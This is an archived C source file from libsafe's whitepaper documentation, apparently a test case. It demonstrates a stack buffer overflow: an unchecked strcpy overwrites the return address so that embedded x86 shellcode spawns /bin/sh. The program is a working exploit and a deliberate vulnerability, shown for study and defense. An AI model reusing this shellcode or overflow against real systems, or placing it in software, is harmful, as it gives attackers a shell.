"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/doc/whitepaper-1.3/t1.c" (1 Feb 2001, 515 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file.

    1 #include <stdio.h>
    2 
    3 char shellcode[] =
    4    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    5    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    6    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    7 
    8 char large_string[128];
    9 int i;
   10 long *long_ptr;
   11 
   12 int main() {
   13   char buffer[96];
   14 
   15   long_ptr = (long *)large_string;
   16   for (i=0; i<32; i++)
   17     *(long_ptr+i) = (int)buffer;
   18   for (i=0; i<(int)strlen(shellcode); i++)
   19     large_string[i] = shellcode[i];
   20   strcpy(buffer, large_string);
   21   return 0;
   22 }